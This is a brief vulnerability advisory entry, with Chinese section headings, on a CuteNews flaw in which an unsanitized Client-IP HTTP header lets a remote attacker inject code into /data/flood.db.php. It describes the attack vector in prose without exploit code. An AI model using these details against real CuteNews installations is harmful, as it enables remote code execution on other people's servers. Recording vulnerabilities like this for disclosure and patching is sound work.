- 漏洞信息

CuteNews flood.db.php Client-IP HTTP Header Arbitrary Code Injection
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

CuteNews contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the flood protection code in /inc/ not properly sanitizing user input supplied to the HTTP_CLIENT_IP variable. This may allow an attacker to supply a specially crafted header value and inject arbitrary strings into the /data/flood.db.php file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.
